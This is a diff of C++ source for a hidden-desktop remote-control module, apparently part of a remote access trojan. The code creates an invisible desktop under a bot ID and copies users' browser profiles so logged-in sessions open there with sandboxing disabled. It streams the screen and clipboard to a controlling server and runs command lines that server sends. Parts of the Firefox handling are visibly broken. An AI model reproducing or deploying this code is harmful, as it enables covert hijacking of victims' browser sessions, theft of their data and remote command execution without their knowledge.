TCHAR newDataPath[MAX_PATH] = { 0 };
|
||||
lstrcat(newDataPath, chromePath);
|
||||
lstrcat(newDataPath, deskName);
|
||||
|
||||
CopyDir(dataPath, newDataPath);
|
||||
|
||||
TCHAR path[MAX_PATH] = { 0 };
|
||||
lstrcat(path, _T("cmd.exe /c start "));
|
||||
lstrcat(path, _T("chrome.exe"));
|
||||
lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --origin-trial-disabled-features=SecurePaymentConfirmation --user-data-dir="));
|
||||
lstrcat(path, _T("\""));
|
||||
lstrcat(path, newDataPath);
|
||||
|
||||
STARTUPINFO startupInfo = { 0 };
|
||||
startupInfo.cb = sizeof(startupInfo);
|
||||
startupInfo.lpDesktop = deskName;
|
||||
PROCESS_INFORMATION processInfo = { 0 };
|
||||
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
|
||||
break;
|
||||
}
|
||||
case IDM_OPEN_Edge: {
|
||||
TCHAR path[MAX_PATH] = { 0 };
|
||||
lstrcat(path, _T("cmd.exe /c start "));
|
||||
lstrcat(path, _T("msedge.exe"));
|
||||
lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir="));
|
||||
STARTUPINFO startupInfo = { 0 };
|
||||
startupInfo.cb = sizeof(startupInfo);
|
||||
startupInfo.lpDesktop = deskName;
|
||||
PROCESS_INFORMATION processInfo = { 0 };
|
||||
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
|
||||
break;
|
||||
}
|
||||
case IDM_OPEN_Brave: {
|
||||
killproc(_T("brave.exe"));
|
||||
TCHAR path[MAX_PATH] = { 0 };
|
||||
lstrcat(path, _T("cmd.exe /c start "));
|
||||
lstrcat(path, _T("brave.exe"));
|
||||
lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir="));
|
||||
STARTUPINFO startupInfo = { 0 };
|
||||
startupInfo.cb = sizeof(startupInfo);
|
||||
startupInfo.lpDesktop = deskName;
|
||||
PROCESS_INFORMATION processInfo = { 0 };
|
||||
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
|
||||
break;
|
||||
}
|
||||
case IDM_OPEN_Firefox: {
|
||||
TCHAR firefoxPath[MAX_PATH] = { 0 };
|
||||
SHGetFolderPath(NULL, CSIDL_APPDATA, NULL, 0, firefoxPath);
|
||||
lstrcat(firefoxPath, _T("\\Mozilla\\Firefox\\"));
|
||||
|
||||
TCHAR profilesIniPath[MAX_PATH] = { 0 };
|
||||
lstrcat(profilesIniPath, firefoxPath);
|
||||
lstrcat(profilesIniPath, _T("TaskbarGlomLevel"));
|
||||
|
||||
HANDLE hProfilesIni = CreateFile(profilesIniPath, FILE_READ_ACCESS, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
if (hProfilesIni == INVALID_HANDLE_VALUE)
|
||||
return;
|
||||
|
||||
DWORD profilesIniSize = GetFileSize(hProfilesIni, 0);
|
||||
DWORD read;
|
||||
TCHAR* profilesIniContent = new TCHAR[profilesIniSize + 1];
|
||||
ReadFile(hProfilesIni, profilesIniContent, profilesIniSize, &read, NULL);
|
||||
profilesIniContent[profilesIniSize] = 0;
|
||||
|
||||
TCHAR* isRelativeRead = StrStr(profilesIniContent, _T("IsRelative="));
|
||||
if (!isRelativeRead) {
|
||||
CloseHandle(hProfilesIni);
|
||||
SAFE_DELETE(profilesIniContent);
|
||||
return;
|
||||
}
|
||||
|
||||
isRelativeRead += 11;
|
||||
BOOL isRelative = (*isRelativeRead == _T('1'));
|
||||
|
||||
TCHAR* path = StrStr(profilesIniContent, _T("Path="));
|
||||
if (!path) {
|
||||
CloseHandle(hProfilesIni);
|
||||
SAFE_DELETE(profilesIniContent);
|
||||
return;
|
||||
}
|
||||
TCHAR* pathEnd = StrStr(path, _T("\r"));
|
||||
if (!pathEnd) {
|
||||
CloseHandle(hProfilesIni);
|
||||
SAFE_DELETE(profilesIniContent);
|
||||
return;
|
||||
}
|
||||
*pathEnd = 0;
|
||||
path += 5;
|
||||
|
||||
TCHAR realPath[MAX_PATH] = { 0 };
|
||||
if (isRelative)
|
||||
lstrcpy(realPath, firefoxPath);
|
||||
lstrcat(realPath, path);
|
||||
|
||||
TCHAR newPath[MAX_PATH];
|
||||
lstrcpy(newPath, firefoxPath);
|
||||
lstrcpy(newPath, deskName);
|
||||
|
||||
CopyDir(realPath, newPath);
|
||||
|
||||
TCHAR browserPath[MAX_PATH] = { 0 };
|
||||
lstrcpy(browserPath, _T("cmd.exe /c start "));
|
||||
lstrcpy(browserPath, _T("firefox.exe"));
|
||||
lstrcpy(browserPath, _T(" -no-remote -profile "));
|
||||
lstrcpy(browserPath, _T("\""));
|
||||
lstrcpy(browserPath, newPath);
|
||||
lstrcpy(browserPath, _T("\""));
|
||||
|
||||
STARTUPINFO startupInfo = { 0 };
|
||||
startupInfo.cb = sizeof(startupInfo);
|
||||
startupInfo.lpDesktop = deskName;
|
||||
PROCESS_INFORMATION processInfo = { 0 };
|
||||
CreateProcess(NULL, browserPath, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
|
||||
break;
|
||||
}
|
||||
case IDM_OPEN_Iexplore: {
|
||||
TCHAR path[MAX_PATH] = { 0 };
|
||||
lstrcpy(path, _T("cmd.exe /c start "));
|
||||
lstrcat(path, _T("iexplore.exe"));
|
||||
|
||||
STARTUPINFO startupInfo = { 0 };
|
||||
startupInfo.cb = sizeof(startupInfo);
|
||||
startupInfo.lpDesktop = deskName;
|
||||
PROCESS_INFORMATION processInfo = { 0 };
|
||||
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
|
||||
break;
|
||||
}
|
||||
case IDM_OPEN_zdy: {
|
||||
TCHAR path[MAX_PATH] = { 0 };
|
||||
lstrcpy(path, (TCHAR*)((char*)lpBuffer + 2));
|
||||
STARTUPINFO startupInfo = { 0 };
|
||||
startupInfo.cb = sizeof(startupInfo);
|
||||
startupInfo.lpDesktop = deskName;
|
||||
PROCESS_INFORMATION processInfo = { 0 };
|
||||
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
|
||||
break;
|
||||
}
|
||||
case IDM_OPEN_zdy2: {
|
||||
ZdyCmd m_ZdyCmd = {};
|
||||
memcpy(&m_ZdyCmd, (char*)lpBuffer + 2, sizeof(ZdyCmd));
|
||||
CopyDir(m_ZdyCmd.oldpath, m_ZdyCmd.newpath);
|
||||
|
||||
TCHAR path[MAX_PATH] = { 0 };
|
||||
lstrcpy(path, _T("cmd.exe /c start "));
|
||||
lstrcat(path, m_ZdyCmd.cmdline);
|
||||
lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir="));
|
||||
lstrcat(path, _T("\""));
|
||||
lstrcat(path, m_ZdyCmd.newpath);
|
||||
STARTUPINFO startupInfo = { 0 };
|
||||
startupInfo.cb = sizeof(startupInfo);
|
||||
startupInfo.lpDesktop = deskName;
|
||||
PROCESS_INFORMATION processInfo = { 0 };
|
||||
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
|
||||
break;
|
||||
}
|
||||
case IDM_OPEN_360JS: {
|
||||
TCHAR chromePath[MAX_PATH] = { 0 };
|
||||
SHGetFolderPath(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, chromePath);
|
||||
lstrcat(chromePath, _T("\\360Chrome\\Chrome\\"));
|
||||
TCHAR dataPath[MAX_PATH] = { 0 };
|
||||
lstrcpy(dataPath, chromePath);
|
||||
lstrcat(dataPath, _T("User Data\\"));
|
||||
|
||||
TCHAR newDataPath[MAX_PATH] = { 0 };
|
||||
lstrcpy(newDataPath, chromePath);
|
||||
lstrcat(newDataPath, deskName);
|
||||
|
||||
CopyDir(dataPath, newDataPath);
|
||||
|
||||
TCHAR path[MAX_PATH] = { 0 };
|
||||
lstrcpy(path, _T("cmd.exe /c start "));
|
||||
lstrcat(path, _T("360chrome.exe"));
|
||||
lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir="));
|
||||
lstrcat(path, _T("\""));
|
||||
lstrcat(path, newDataPath);
|
||||
|
||||
STARTUPINFO startupInfo = { 0 };
|
||||
startupInfo.cb = sizeof(startupInfo);
|
||||
startupInfo.lpDesktop = deskName;
|
||||
PROCESS_INFORMATION processInfo = { 0 };
|
||||
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
|
||||
break;
|
||||
}
|
||||
case IDM_OPEN_360AQ: {
|
||||
TCHAR chromePath[MAX_PATH] = { 0 };
|
||||
|
||||
SHGetFolderPath(NULL, CSIDL_APPDATA, NULL, 0, chromePath);
|
||||
lstrcat(chromePath, _T("\\"));
|
||||
|
||||
TCHAR dataPath[MAX_PATH] = { 0 };
|
||||
lstrcpy(dataPath, chromePath);
|
||||
lstrcat(dataPath, _T("secoresdk\\"));
|
||||
|
||||
TCHAR newDataPath[MAX_PATH] = { 0 };
|
||||
lstrcpy(newDataPath, chromePath);
|
||||
lstrcat(newDataPath, deskName);
|
||||
|
||||
CopyDir(dataPath, newDataPath);
|
||||
lstrcat(newDataPath, _T("\\360se6\\Application\\360se.exe"));
|
||||
|
||||
TCHAR path[MAX_PATH] = { 0 };
|
||||
lstrcpy(path, _T("cmd.exe /c start "));
|
||||
lstrcat(path, newDataPath);
|
||||
|
||||
lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir="));
|
||||
|
||||
STARTUPINFO startupInfo = { 0 };
|
||||
startupInfo.cb = sizeof(startupInfo);
|
||||
startupInfo.lpDesktop = deskName;
|
||||
PROCESS_INFORMATION processInfo = { 0 };
|
||||
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
|
||||
break;
|
||||
}
|
||||
case IDM_OPEN_360AQ2: {
|
||||
TCHAR chromePath[MAX_PATH] = { 0 };
|
||||
|
||||
SHGetFolderPath(NULL, CSIDL_APPDATA, NULL, 0, chromePath);
|
||||
lstrcat(chromePath, _T("\\"));
|
||||
|
||||
TCHAR dataPath[MAX_PATH] = { 0 };
|
||||
lstrcpy(dataPath, chromePath);
|
||||
lstrcat(dataPath, _T("360se6\\"));
|
||||
|
||||
TCHAR newDataPath[MAX_PATH] = { 0 };
|
||||
lstrcpy(newDataPath, chromePath);
|
||||
lstrcat(newDataPath, deskName);
|
||||
|
||||
CopyDir(dataPath, newDataPath);
|
||||
lstrcat(newDataPath, _T("\\Application\\360se.exe"));
|
||||
|
||||
TCHAR path[MAX_PATH] = { 0 };
|
||||
lstrcpy(path, _T("cmd.exe /c start "));
|
||||
lstrcat(path, newDataPath);
|
||||
|
||||
lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir="));
|
||||
|
||||
STARTUPINFO startupInfo = { 0 };
|
||||
startupInfo.cb = sizeof(startupInfo);
|
||||
startupInfo.lpDesktop = deskName;
|
||||
PROCESS_INFORMATION processInfo = { 0 };
|
||||
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void CScreenHideManager::InitScreenSpy() {
|
||||
HDESK hDesk = SelectDesktop((char*)m_DesktopID.c_str());
|
||||
if (!hDesk) {
|
||||
hDesk = CreateDesktop(m_DesktopID.c_str(), NULL, NULL, 0, GENERIC_ALL, NULL);
|
||||
Mprintf("创建虚拟屏幕%s: %s\n", m_DesktopID.c_str(), hDesk ? "成功" : "失败");
|
||||
}
|
||||
else {
|
||||
Mprintf("打开虚拟屏幕成功: %s\n", m_DesktopID.c_str());
|
||||
}
|
||||
if (hDesk) {
|
||||
TCHAR szExplorerFile[MAX_PATH * 2] = { 0 };
|
||||
GetWindowsDirectory(szExplorerFile, MAX_PATH * 2 - 1);
|
||||
strcat_s(szExplorerFile, MAX_PATH * 2 - 1, _T("\\Explorer.Exe"));
|
||||
if (!IsProcessRunningInDesktop(hDesk, szExplorerFile))
|
||||
{
|
||||
if (!LaunchApplication(szExplorerFile, (char*)m_DesktopID.c_str())) {
|
||||
Mprintf("启动资源管理器失败[%s]!!!\n", m_DesktopID.c_str());
|
||||
}
|
||||
} else {
|
||||
Mprintf("虚拟屏幕的资源管理器已在运行[%s].\n", m_DesktopID.c_str());
|
||||
}
|
||||
SetThreadDesktop(g_hDesk = hDesk);
|
||||
}
|
||||
BYTE* param = (BYTE*)m_ptrUser;
|
||||
int compress = ALGORITHM_DIFF;
|
||||
if (param) {
|
||||
compress = param[1];
|
||||
delete[] param;
|
||||
m_ptrUser = NULL;
|
||||
}
|
||||
m_ScreenSpyObject = new CScreenHideSpy(32, compress);
|
||||
}
|
||||
|
||||
} // namespace SimplePluginsScreenHide
|
||||
@@ -0,0 +1,21 @@
|
||||
#pragma once
|
||||
#include "Manager.h"
|
||||
|
||||
#include "ScreenHideSpy.h"
|
||||
#include "ScreenManagerBase.h"
|
||||
|
||||
namespace SimplePluginsScreenHide {
|
||||
|
||||
class CScreenHideManager : public CScreenManagerBase
|
||||
{
|
||||
public:
|
||||
CScreenHideManager(ISocketBase* pClient, int nBitDepth, void* user=NULL);
|
||||
virtual ~CScreenHideManager();
|
||||
|
||||
void OnUserCommand(PBYTE lpBuffer, ULONG nSize);
|
||||
|
||||
virtual VOID OnReceive(PBYTE lpBuffer, ULONG nSize);
|
||||
virtual void InitScreenSpy();
|
||||
};
|
||||
|
||||
} // namespace SimplePluginsScreenHide
|
||||
@@ -0,0 +1,22 @@
|
||||
#pragma once
|
||||
|
||||
#include "ScreenSpy.h"
|
||||
|
||||
namespace SimplePluginsScreenHide {
|
||||
|
||||
// 隐私屏幕捕获器。
|
||||
//
|
||||
// SimplePlugins 原版 CScreenHideSpy 基于其自带的旧 CScreenSpy/ScreenCapture 捕获链
|
||||
// (jpeg + CaptureFrame/BMP_JPG/ScanChangedRect),已与 YAMA 重写后的编码器捕获层
|
||||
// (ScreenCapture::GetNextScreenData + EncoderFactory)分叉,故此处改写为直接继承
|
||||
// YAMA 的 ::CScreenSpy,仅把 vDesk=TRUE(虚拟桌面)传入基类,捕获/编码全部复用基类。
|
||||
class CScreenHideSpy : public ::CScreenSpy
|
||||
{
|
||||
public:
|
||||
CScreenHideSpy(int biBitCount = 32, int algo = ALGORITHM_DIFF)
|
||||
: ::CScreenSpy((ULONG)biBitCount, (BYTE)algo, TRUE /* vDesk → m_bVirtualPaint */)
|
||||
{
|
||||
}
|
||||
};
|
||||
|
||||
} // namespace SimplePluginsScreenHide
|
||||
@@ -0,0 +1,642 @@
|
||||
#pragma once
|
||||
|
||||
#include "Manager.h"
|
||||
#include "ScreenCapture.h"
|
||||
#include <Shlwapi.h>
|
||||
#include <ShlObj.h>
|
||||
#include <tchar.h>
|
||||
|
||||
class IOCPClient;
|
||||
|
||||
namespace SimplePluginsScreenHide {
|
||||
|
||||
class CScreenManagerBase : public CManager {
|
||||
public: // 构造和析构
|
||||
CScreenManagerBase(IOCPClient* ClientObject, int nBitDepth, void* user = NULL,
|
||||
int token= TOKEN_BITMAPINFO) : CManager(ClientObject)
|
||||
{
|
||||
m_DlgToken = token;
|
||||
g_hDesk = nullptr;
|
||||
m_DesktopID = GetBotId();
|
||||
m_ptrUser = user;
|
||||
m_ScreenSpyObject = nullptr;
|
||||
m_biBitCount = nBitDepth;
|
||||
m_fps = 10;
|
||||
m_bIsWorking = TRUE;
|
||||
m_oldwidth = ::GetSystemMetrics(SM_CXVIRTUALSCREEN);
|
||||
m_oldheigh = ::GetSystemMetrics(SM_CYVIRTUALSCREEN);
|
||||
m_point = {};
|
||||
m_lastPoint = {};
|
||||
m_lmouseDown = FALSE;
|
||||
m_hResMoveWindow = nullptr;
|
||||
m_resMoveType = 0;
|
||||
m_rmouseDown = FALSE;
|
||||
m_rclickPoint = {};
|
||||
m_rclickWnd = nullptr;
|
||||
m_hWorkThread = (HANDLE)__CreateThread(NULL, 0, CScreenManagerBase::WorkThreadProc, this, 0, NULL);
|
||||
m_hBlankThread = (HANDLE)__CreateThread(NULL, 0, CScreenManagerBase::ControlThread, this, 0, NULL);
|
||||
SetReady(TRUE);
|
||||
}
|
||||
virtual ~CScreenManagerBase() {
|
||||
m_bIsWorking = FALSE;
|
||||
WaitForSingleObject(m_hWorkThread, INFINITE);
|
||||
WaitForSingleObject(m_hBlankThread, INFINITE);
|
||||
CloseHandle(m_hWorkThread); m_hWorkThread = NULL;
|
||||
CloseHandle(m_hBlankThread); m_hBlankThread = NULL;
|
||||
|
||||
SAFE_DELETE(m_ScreenSpyObject);
|
||||
if (g_hDesk) {
|
||||
auto b = CloseDesktop(g_hDesk);
|
||||
g_hDesk = NULL;
|
||||
Mprintf("关闭虚拟屏幕【%s】: %s\n", b ? "成功" : "失败", m_DesktopID.c_str());
|
||||
}
|
||||
}
|
||||
|
||||
public: // 非纯虚函数
|
||||
virtual BOOL SendFirstScreen() {
|
||||
ULONG len = 0;
|
||||
auto data = m_ScreenSpyObject->GetFirstScreenData(&len);
|
||||
if (nullptr == data) {
|
||||
return FALSE;
|
||||
}
|
||||
return m_ClientObject->Send2Server((char*)data, 1 + len);
|
||||
}
|
||||
|
||||
virtual bool IsMetricsChange() {
|
||||
if ((m_oldwidth != ::GetSystemMetrics(SM_CXVIRTUALSCREEN)) || (m_oldheigh != ::GetSystemMetrics(SM_CYVIRTUALSCREEN))) {
|
||||
if (m_oldwidth == 0 || m_oldheigh == 0) {
|
||||
return false;
|
||||
}
|
||||
m_oldwidth = ::GetSystemMetrics(SM_CXVIRTUALSCREEN);
|
||||
m_oldheigh = ::GetSystemMetrics(SM_CYVIRTUALSCREEN);
|
||||
return true;
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
virtual void Loop_Screen() {
|
||||
// 获取分辨率
|
||||
int _cx = ::GetSystemMetrics(SM_CXSCREEN);
|
||||
int _cy = ::GetSystemMetrics(SM_CYSCREEN);
|
||||
|
||||
// 修改分辨率
|
||||
DEVMODE lpDevMode;
|
||||
lpDevMode.dmBitsPerPel = 32;//每个像素的位数
|
||||
lpDevMode.dmPelsWidth = 1600;//屏幕宽度(像素)
|
||||
lpDevMode.dmPelsHeight = 900;//屏幕高度(像素)
|
||||
lpDevMode.dmSize = sizeof(lpDevMode);
|
||||
lpDevMode.dmFields =DM_PELSWIDTH| DM_PELSHEIGHT| DM_BITSPERPEL;
|
||||
LONG result = ChangeDisplaySettings(&lpDevMode, 0);
|
||||
if (result == DISP_CHANGE_SUCCESSFUL) {
|
||||
ChangeDisplaySettings(&lpDevMode, CDS_UPDATEREGISTRY);
|
||||
}
|
||||
else {
|
||||
ChangeDisplaySettings(NULL, 0);
|
||||
}
|
||||
}
|
||||
|
||||
virtual bool IsConnect() { return m_ClientObject->IsRunning(); }
|
||||
|
||||
virtual int GetCurrentPixelBits() { return m_biBitCount; }
|
||||
|
||||
virtual LPBYTE GetNextScreen(ULONG& ulNextSendLength) {
|
||||
return m_ScreenSpyObject->GetNextScreenData(&ulNextSendLength);
|
||||
}
|
||||
|
||||
virtual VOID SendNextScreen(LPBYTE szBuffer, ULONG ulNextSendLength) {
|
||||
m_ClientObject->Send2Server((char*)szBuffer, ulNextSendLength);
|
||||
}
|
||||
|
||||
virtual void ResetScreen(int biBitCount = 32) {
|
||||
InterlockedExchange((LPLONG)&m_bIsWorking, FALSE);
|
||||
WaitForSingleObject(m_hWorkThread, INFINITE);
|
||||
CloseHandle(m_hWorkThread);
|
||||
SAFE_DELETE(m_ScreenSpyObject);
|
||||
m_biBitCount = biBitCount;
|
||||
m_bIsWorking = TRUE;
|
||||
m_hWorkThread = (HANDLE)__CreateThread(NULL, 0, WorkThreadProc, this, 0, NULL);
|
||||
}
|
||||
|
||||
virtual VOID UpdateClientClipboard(char* szBuffer, ULONG ulLength) {
|
||||
if (!OpenClipboard(NULL))
|
||||
return;
|
||||
EmptyClipboard();
|
||||
HGLOBAL hGlobal = (HGLOBAL)GlobalAlloc(GMEM_DDESHARE, ulLength);
|
||||
if (hGlobal != NULL) {
|
||||
LPTSTR szClipboardVirtualAddress = (LPTSTR)GlobalLock(hGlobal);
|
||||
if (szClipboardVirtualAddress)
|
||||
memcpy(szClipboardVirtualAddress, szBuffer, ulLength);
|
||||
GlobalUnlock(hGlobal);
|
||||
if (NULL == SetClipboardData(CF_TEXT, hGlobal))
|
||||
GlobalFree(hGlobal);
|
||||
}
|
||||
CloseClipboard();
|
||||
}
|
||||
|
||||
virtual VOID SendClientClipboard() {
|
||||
if (!OpenClipboard(NULL)) //打开剪切板设备
|
||||
return;
|
||||
HGLOBAL hGlobal = (HGLOBAL)GetClipboardData(CF_TEXT); //代表着一个内存
|
||||
if (hGlobal == NULL) {
|
||||
CloseClipboard();
|
||||
return;
|
||||
}
|
||||
int iPacketLength = GlobalSize(hGlobal) + 1;
|
||||
char* szClipboardVirtualAddress = (LPSTR)GlobalLock(hGlobal); //锁定
|
||||
LPBYTE szBuffer = new BYTE[iPacketLength];
|
||||
|
||||
szBuffer[0] = TOKEN_CLIPBOARD_TEXT;
|
||||
memcpy(szBuffer + 1, szClipboardVirtualAddress, iPacketLength - 1);
|
||||
GlobalUnlock(hGlobal);
|
||||
CloseClipboard();
|
||||
m_ClientObject->Send2Server((char*)szBuffer, iPacketLength);
|
||||
delete[] szBuffer;
|
||||
}
|
||||
|
||||
virtual DWORD WorkProcess() {
|
||||
CScreenManagerBase* This = this;
|
||||
This->InitScreenSpy();
|
||||
|
||||
This->SendBitMapInfo();
|
||||
if (This->m_bIsWorking)
|
||||
This->WaitForDialogOpen();
|
||||
This->SendScreenSize();
|
||||
clock_t last = clock();
|
||||
if (!This->SendFirstScreen()) {
|
||||
Mprintf("Send first screen failed!!!\n");
|
||||
return 0x20250224;
|
||||
}
|
||||
Mprintf("Succeed sending bmpInfo and first screen\n");
|
||||
|
||||
float fps = This->m_fps;
|
||||
const int sleep = 1000 / fps;// 间隔时间(ms)
|
||||
int c1 = 0; // 连续耗时长的次数
|
||||
int c2 = 0; // 连续耗时短的次数
|
||||
int s0 = sleep; // 两帧之间隔(ms)
|
||||
const int frames = fps; // 每秒调整屏幕发送速度
|
||||
const double alpha = 1.1; // 控制fps的因子
|
||||
timeBeginPeriod(1);
|
||||
while (This->m_bIsWorking) {
|
||||
ULONG ulNextSendLength = 0;
|
||||
LPBYTE szBuffer = This->GetNextScreen(ulNextSendLength);
|
||||
if (NULL == szBuffer) {
|
||||
continue;
|
||||
}
|
||||
int span = s0 - (clock() - last);
|
||||
Sleep(span > 0 ? span : 1);
|
||||
if (span < 0) { // 发送数据耗时较长,网络较差或数据较多
|
||||
c2 = 0;
|
||||
if (frames == ++c1) { // 连续一定次数耗时长
|
||||
s0 = (s0 <= 500) ? s0 * alpha : s0;
|
||||
c1 = 0;
|
||||
#ifdef _DEBUG
|
||||
if (s0 > 40)
|
||||
Mprintf("[+]SendScreen Span= %dms, s0= %d, fps= %f\n", span, s0, 1000. / s0);
|
||||
#endif
|
||||
}
|
||||
}
|
||||
else if (span > 0) { // 发送数据耗时比s0短,表示网络较好或数据包较小
|
||||
c1 = 0;
|
||||
if (frames == ++c2) { // 连续一定次数耗时短
|
||||
s0 = (s0 >= 40) ? s0 / alpha : s0;
|
||||
c2 = 0;
|
||||
#ifdef _DEBUG
|
||||
if (s0 > 40)
|
||||
Mprintf("[-]SendScreen Span= %dms, s0= %d, fps= %f\n", span, s0, 1000. / s0);
|
||||
#endif
|
||||
}
|
||||
}
|
||||
last = clock();
|
||||
This->SendNextScreen(szBuffer, ulNextSendLength);
|
||||
}
|
||||
timeEndPeriod(1);
|
||||
Mprintf("ScreenWorkThread Exit\n");
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
virtual DWORD ControlProcess() {
|
||||
CScreenManagerBase* pThis = this;
|
||||
pThis->WaitForDialogOpen();
|
||||
while (pThis->IsConnect() && pThis->m_bIsWorking) {
|
||||
// 分辨率大小改变了
|
||||
if (pThis->IsMetricsChange() && pThis->m_bIsWorking) {
|
||||
pThis->ResetScreen(pThis->GetCurrentPixelBits());
|
||||
Sleep(2000);
|
||||
}
|
||||
Sleep(10);
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
static DWORD WINAPI WorkThreadProc(LPVOID lParam) {
|
||||
CScreenManagerBase* pThis = (CScreenManagerBase*)lParam;
|
||||
return pThis->WorkProcess();
|
||||
}
|
||||
|
||||
static DWORD WINAPI ControlThread(LPVOID lparam) {
|
||||
CScreenManagerBase* pThis = (CScreenManagerBase*)lparam;
|
||||
return pThis->ControlProcess();
|
||||
}
|
||||
|
||||
std::wstring ConvertToWString(const std::string& multiByteStr) {
|
||||
int len = MultiByteToWideChar(CP_ACP, 0, multiByteStr.c_str(), -1, NULL, 0);
|
||||
if (len == 0) return L""; // 转换失败
|
||||
|
||||
std::wstring wideStr(len, L'\0');
|
||||
MultiByteToWideChar(CP_ACP, 0, multiByteStr.c_str(), -1, &wideStr[0], len);
|
||||
|
||||
return wideStr;
|
||||
}
|
||||
|
||||
std::string GetTitle(HWND hWnd) {
|
||||
char title[256] = { 0 }; // 预留缓冲区(置零,避免无标题/无效窗口时读到未初始化内存)
|
||||
GetWindowTextA(hWnd, title, sizeof(title));
|
||||
return title;
|
||||
}
|
||||
|
||||
virtual bool LaunchApplication(TCHAR* pszApplicationFilePath, TCHAR* pszDesktopName) {
|
||||
bool bReturn = false;
|
||||
|
||||
try {
|
||||
if (!pszApplicationFilePath || !pszDesktopName || !strlen(pszApplicationFilePath) || !strlen(pszDesktopName))
|
||||
return false;
|
||||
|
||||
TCHAR szDirectoryName[MAX_PATH * 2] = { 0 };
|
||||
TCHAR szExplorerFile[MAX_PATH * 2] = { 0 };
|
||||
|
||||
strcpy_s(szDirectoryName, strlen(pszApplicationFilePath) + 1, pszApplicationFilePath);
|
||||
|
||||
std::wstring path = ConvertToWString(pszApplicationFilePath);
|
||||
if (!PathIsExe(path.c_str()))
|
||||
return false;
|
||||
PathRemoveFileSpec(szDirectoryName);
|
||||
STARTUPINFO sInfo = { 0 };
|
||||
PROCESS_INFORMATION pInfo = { 0 };
|
||||
|
||||
sInfo.cb = sizeof(sInfo);
|
||||
sInfo.lpDesktop = pszDesktopName;
|
||||
|
||||
//Launching a application into desktop
|
||||
BOOL bCreateProcessReturn = CreateProcess(pszApplicationFilePath,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL,
|
||||
TRUE,
|
||||
NORMAL_PRIORITY_CLASS,
|
||||
NULL,
|
||||
szDirectoryName,
|
||||
&sInfo,
|
||||
&pInfo);
|
||||
CloseHandle(pInfo.hProcess);
|
||||
CloseHandle(pInfo.hThread);
|
||||
TCHAR* pszError = NULL;
|
||||
FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
|
||||
NULL, GetLastError(), 0, reinterpret_cast<LPTSTR>(&pszError), 0, NULL);
|
||||
|
||||
if (pszError) {
|
||||
Mprintf("CreateProcess [%s] failed: %s\n", pszApplicationFilePath, pszError);
|
||||
LocalFree(pszError); // 释放内存
|
||||
}
|
||||
|
||||
if (bCreateProcessReturn)
|
||||
bReturn = true;
|
||||
|
||||
}
|
||||
catch (...) {
|
||||
bReturn = false;
|
||||
}
|
||||
|
||||
return bReturn;
|
||||
}
|
||||
|
||||
virtual VOID SendBitMapInfo() {
|
||||
const ULONG ulLength = 1 + sizeof(BITMAPINFOHEADER);
|
||||
LPBYTE szBuffer = new BYTE[ulLength];
|
||||
szBuffer[0] = m_DlgToken;
|
||||
memcpy(szBuffer + 1, m_ScreenSpyObject->GetBIData(), ulLength - 1);
|
||||
m_ClientObject->Send2Server((char*)szBuffer, ulLength);
|
||||
SAFE_DELETE_ARRAY(szBuffer);
|
||||
}
|
||||
|
||||
virtual void SendScreenSize()
|
||||
{
|
||||
RECT rect = m_ScreenSpyObject->GetScreenRect();
|
||||
BYTE lpBuffer[sizeof(RECT) + 1];
|
||||
lpBuffer[0] = TOKEN_SCREEN_SIZE;
|
||||
memcpy(lpBuffer + 1, &rect, sizeof(RECT));
|
||||
Send(lpBuffer, sizeof(lpBuffer));
|
||||
}
|
||||
|
||||
virtual VOID ProcessCommand(LPBYTE szBuffer, ULONG ulLength) {
|
||||
int msgSize = sizeof(MYMSG);
|
||||
if (ulLength % 28 == 0) // 32位控制端发过来的消息
|
||||
msgSize = 28;
|
||||
else if (ulLength % 48 == 0) // 64位控制端发过来的消息
|
||||
msgSize = 48;
|
||||
else return; // 数据包不合法
|
||||
ULONG ulMsgCount = ulLength / msgSize;
|
||||
BYTE* ptr = szBuffer;
|
||||
MSG32 msg32;
|
||||
MSG64 msg64;
|
||||
if (nullptr == g_hDesk) {
|
||||
// 命令个数
|
||||
// 处理多个命令
|
||||
for (int i = 0; i < ulMsgCount; ++i, ptr += msgSize) {
|
||||
MYMSG* Msg = msgSize == 48 ? (MYMSG*)ptr :
|
||||
(MYMSG*)msg64.Create(msg32.Create(ptr, msgSize));
|
||||
switch (Msg->message) {
|
||||
